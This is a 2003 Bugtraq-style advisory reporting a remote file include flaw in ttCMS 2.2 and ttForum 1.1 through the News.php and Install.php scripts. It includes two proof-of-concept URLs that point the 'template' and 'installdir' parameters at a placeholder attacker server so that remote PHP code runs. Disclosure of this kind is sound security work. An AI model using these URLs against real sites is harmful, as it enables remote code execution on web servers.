ttCMS / ttForum Remote File Include Vulnerability

Bugtraq ID:	7542
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 09 2003 12:00AM
Updated:	May 09 2003 12:00AM
Credit:	Discovery of this vulnerability credited to Charles Reinold <[email protected]>.
Vulnerable:	ttForum ttForum 1.1 + YaBB SE YaBB SE 1.5.1 ttCMS ttCMS 2.2 + ttForum ttForum 1.1
Not Vulnerable:

ttCMS / ttForum Remote File Include Vulnerability

A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.

ttCMS / ttForum Remote File Include Vulnerability

The following proof of concepts was provided:

http://www.example.com/ttforum/index.php?action=news;board=1;
template=http://www.yourserver.com/modules/forum/helpadmin;ext=help

http://www.example.com/install.php?step=7&installdir=http://yourserver/Settings.php

ttCMS / ttForum Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

ttCMS / ttForum Remote File Include Vulnerability

References:

• ttCMS (ttCMS)
  
• ttForum (ttForum)
  
• ttcms and ttforum exploits (Charles Reinold )